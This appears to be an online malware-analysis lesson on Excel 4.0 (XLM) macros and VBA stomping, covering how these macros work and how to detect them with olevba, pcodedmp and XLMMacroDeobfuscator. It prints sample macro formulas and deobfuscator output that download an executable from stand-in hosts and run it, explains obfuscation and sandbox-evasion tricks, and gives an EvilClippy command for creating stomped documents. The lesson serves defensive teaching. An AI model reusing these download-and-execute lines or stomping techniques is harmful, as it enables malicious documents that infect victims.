Excel 4.0 (XLM) Macros & VBA Stomping

28 minIn Progress

Excel 4.0 (XLM) Macros & VBA Stomping

Excel 4.0 Macros (XLM) -- The Legacy Threat

Why XLM Macros Are Dangerous

Excel 4.0 macros (also called XLM macros) predate VBA and use cell formulas as executable code. They experienced a dramatic resurgence in malware campaigns starting around 2018 because:

  • Many security tools do not detect them -- AV engines and sandboxes focused on VBA often miss XLM entirely
  • They do not appear in the VBA editor -- analysts who open the file in Excel and check the VBA editor see nothing
  • They can call Windows API functions via the CALL() and REGISTER() formulas
  • They can execute system commands via the EXEC() formula
  • They work in all Excel versions that support .xls (BIFF8) and even some .xlsm files
  • They bypass some macro-disabled policies -- some organizations only block VBA, not XLM

Real-world prevalence: XLM macros were heavily used by threat groups distributing Emotet, TrickBot, Dridex, QakBot, and ZLoader between 2019-2023.


How XLM Macros Work

XLM macros operate differently from VBA -- they use spreadsheet cells as program instructions:

How it works:
1. Attacker creates a new sheet in the workbook
2. Sheet type is set to "Excel 4.0 Macro Sheet" (not a regular worksheet)
3. The sheet is typically hidden (or very hidden)
4. Cells in column A contain formulas that execute sequentially:

   A1: =EXEC("cmd /c whoami > C:\temp\out.txt")
   A2: =CALL("urlmon","URLDownloadToFileA","JCCB",0,
        "http://evil[.]com/payload.exe","C:\temp\svc.exe",0,0)
   A3: =EXEC("C:\temp\svc.exe")
   A4: =HALT()

Common XLM Malicious Functions

FormulaPurposeExample
=EXEC()Execute a system command=EXEC("cmd /c powershell...")
=CALL()Call a Windows DLL function=CALL("urlmon","URLDownloadToFileA",...)
=REGISTER()Register a DLL function for use=REGISTER("kernel32","WinExec","JCJ")
=HALT()Stop macro execution=HALT()
=GOTO()Jump to another cell=GOTO(Sheet2!A1)
=IF()Conditional execution=IF(GET.WORKSPACE(13)>770,A2,A5)
=GET.WORKSPACE()Probe system environmentSandbox detection (screen width, etc.)
=FORMULA()Write formula to another cellSelf-modifying macro behavior
=CHAR()Build strings character by characterObfuscation via ASCII values

Auto-Execute Mechanisms for XLM

XLM macros auto-execute through Excel's "defined names" feature:

Method 1: Auto_Open defined name
  - A defined name "Auto_Open" points to the first macro cell
  - Example: Auto_Open -> Sheet1!$A$1

Method 2: Sheet-level auto-execute
  - The macro sheet itself has an auto-execute property
  - Set in the sheet's properties (not visible in normal UI)

Hiding Techniques

Attackers hide XLM macro sheets using Excel's visibility options:

VisibilityHow to UnhideDetection
HiddenRight-click sheet tab -> UnhideEasy to find
Very HiddenOnly via VBA editor or hex editRequires tools to detect
White text on whiteChange font/background colorVisual inspection fails

Detecting XLM Macros

# Method 1: olevba detects XLM macros
olevba suspicious.xls
# Look for output:
# "Excel 4.0 Macros detected"
# "XLM macro found in sheet 'Macro1'"

# Method 2: oledump with plugin
oledump.py -p plugin_biff.py suspicious.xls
# Shows BIFF records including macro sheet indicators

# Method 3: XLMMacroDeobfuscator (specialized)
pip install XLMMacroDeobfuscator
xlmdeobfuscator --file suspicious.xls

XLMMacroDeobfuscator -- Specialized XLM Analysis

# Basic deobfuscation (extract and resolve formulas)
xlmdeobfuscator --file suspicious.xls

# With full emulation (resolves CALL/EXEC at runtime)
xlmdeobfuscator --file suspicious.xls -x

# Extract formulas without emulation
xlmdeobfuscator --file suspicious.xls --no-emulation

# Output to file
xlmdeobfuscator --file suspicious.xls -x -o output.txt

Example output:

CELL:A1, Formula:=EXEC("cmd /c certutil -urlcache -split -f
  http://cdn-update[.]com/v2/payload.exe C:\Users\Public\svc.exe")
CELL:A2, Formula:=EXEC("C:\Users\Public\svc.exe")
CELL:A3, Formula:=HALT()

XLM Obfuscation Techniques

Attackers obfuscate XLM formulas to evade static detection:

Technique 1: CHAR() building
  =CHAR(99)&CHAR(109)&CHAR(100)  -> "cmd"

Technique 2: Formula chaining across cells
  A1: ="cm"          B1: =A1&A2
  A2: ="d"           B2: =EXEC(B1&" /c calc.exe")

Technique 3: GET.WORKSPACE() for sandbox detection
  A1: =IF(GET.WORKSPACE(13)>770, A2, A5)
  (Only execute payload if screen width > 770px)

Technique 4: FORMULA() for self-modification
  A1: =FORMULA("=EXEC(""calc.exe"")", B1)
  A2: =GOTO(B1)

VBA Stomping -- P-code vs Source Code Attacks

What Is VBA Stomping?

VBA macros in Office documents actually exist in two parallel forms within the OLE2 storage:

FormStorage LocationPurpose
VBA source codeCompressedSourceCode in each module streamHuman-readable, what olevba extracts
P-code (Performance code)PerformanceCache in each module streamPre-compiled bytecode, what Office executes

Normally, these two forms contain equivalent logic. In VBA stomping, an attacker deliberately creates a mismatch:

Normal document:
  VBA Source:  Sub AutoOpen(): Shell "calc.exe": End Sub
  P-code:     Sub AutoOpen(): Shell "calc.exe": End Sub
  -> Both match. Analyst sees what actually executes.

VBA-stomped document:
  VBA Source:  Sub AutoOpen(): MsgBox "Hello": End Sub  <- BENIGN (decoy)
  P-code:     Sub AutoOpen(): Shell "powershell ...": End Sub  <- MALICIOUS
  -> Analyst sees benign code, but Office executes the P-code!

How VBA Stomping Works

  1. Author creates a document with a malicious macro in a specific Office version
  2. The malicious P-code is compiled and stored in the PerformanceCache
  3. Author replaces the VBA source code with benign/empty content using tools like EvilClippy
  4. When Office opens the file on a matching version, it uses the cached P-code (fast path)
  5. The VBA source is never compiled -- the malicious P-code executes instead

Important limitation: P-code is version-specific. If the victim's Office version differs from the attacker's, Office recompiles the (benign) VBA source instead. This limits VBA stomping effectiveness.

Detecting VBA Stomping

# Method 1: olevba automatic detection
olevba suspicious.doc
# Look for:
# "WARNING: VBA source code and target P-code are different"
# "This may indicate VBA Stomping"

# Method 2: Extract P-code with pcodedmp
pip install pcodedmp
pcodedmp suspicious.doc > pcode_output.txt

# Method 3: Compare P-code vs VBA source
olevba suspicious.doc > vba_source.txt
pcodedmp suspicious.doc > pcode_output.txt
diff vba_source.txt pcode_output.txt
# Significant differences indicate VBA stomping

# Method 4: Use EvilClippy to detect stomping
# (EvilClippy was created to perform stomping, but can detect it too)

Creating VBA-Stomped Documents (for testing)

# EvilClippy can stomp VBA for detection testing
# -s flag replaces VBA source with dummy code
evilclippy -s fakesource.vba malicious.doc

# The result has malicious P-code but benign VBA source

Protected and Encrypted Documents

Password-Protected VBA Projects

# Method 1: olevba ignores VBA project passwords
olevba protected.doc
# Works directly -- VBA password does not prevent extraction

# Method 2: Remove password with evilclippy
evilclippy -uu protected.doc
# Creates a copy with project password removed

# Method 3: Hex-edit approach
# Find "DPB=" in the OLE stream and replace with "DPx="
# This corrupts the password hash; Office ignores it on open

Document-Level Encryption

# Decrypt with msoffcrypto-tool (when password is known)
pip install msoffcrypto-tool
msoffcrypto-tool -p "infected" encrypted.doc decrypted.doc

# Common maldoc passwords: infected, malware, virus, password, 123456
# The password is often included in the phishing email body

# For unknown passwords: check the email text or sandbox report

Pro Tip: Malware authors often encrypt maldocs with simple passwords like "infected" or "123456" to bypass email gateway scanning. The password is provided to the victim in the phishing email.


Common Pitfalls

  1. Assuming VBA editor shows everything -- XLM macros and P-code attacks are invisible in the VBA editor
  2. Trusting VBA source code alone -- Always check P-code with pcodedmp when olevba flags VBA stomping
  3. Missing "very hidden" sheets -- Use oledump or XLMMacroDeobfuscator to find them
  4. Ignoring version-specific P-code -- VBA stomping only works when Office versions match
  5. Not checking for encrypted maldocs -- Look for the password in the email body

ATT&CK Mapping

TechniqueIDRelevance
Phishing: Spearphishing AttachmentT1566.001Delivery mechanism
User Execution: Malicious FileT1204.002Victim opens document
Command and Scripting Interpreter: VBAT1059.005XLM/VBA execution
Obfuscated Files or InformationT1027CHAR() obfuscation, VBA stomping
Signed Binary Proxy ExecutionT1218certutil, mshta in download commands
Ingress Tool TransferT1105URLDownloadToFile via CALL()
Try it in the shell
Practise this lesson's tooling on its sample in an emulated analyst shell. Output is pre-recorded — nothing executes.

Suggested triage steps

  1. 1

    Identify the container

    A legacy Excel 97-2003 workbook — confirm the format before macros come into it.

  2. 2

    Rule out a VBA project

    The indicators come back 'VBA Macros: none (XLM only)' — this workbook's logic lives entirely in a legacy macro sheet, not a VBA project.

  3. 3

    Read the hidden macro sheet

    olevba surfaces the Very Hidden Macro1 sheet directly: CALL and EXEC formulas standing in for a VBA Sub.

  4. 4

    Map the formulas to ATT&CK

    Same user-execution and download techniques as a VBA downloader, just driven by cell formulas instead of code.

analyst@lab:~emulated · nothing executes

MAA analyst shell — emulated. Nothing executes.

Type 'help', or click a step on the left.

$
Excel 4.0 (XLM) Macros & VBA Stomping | Malware Analysis Academy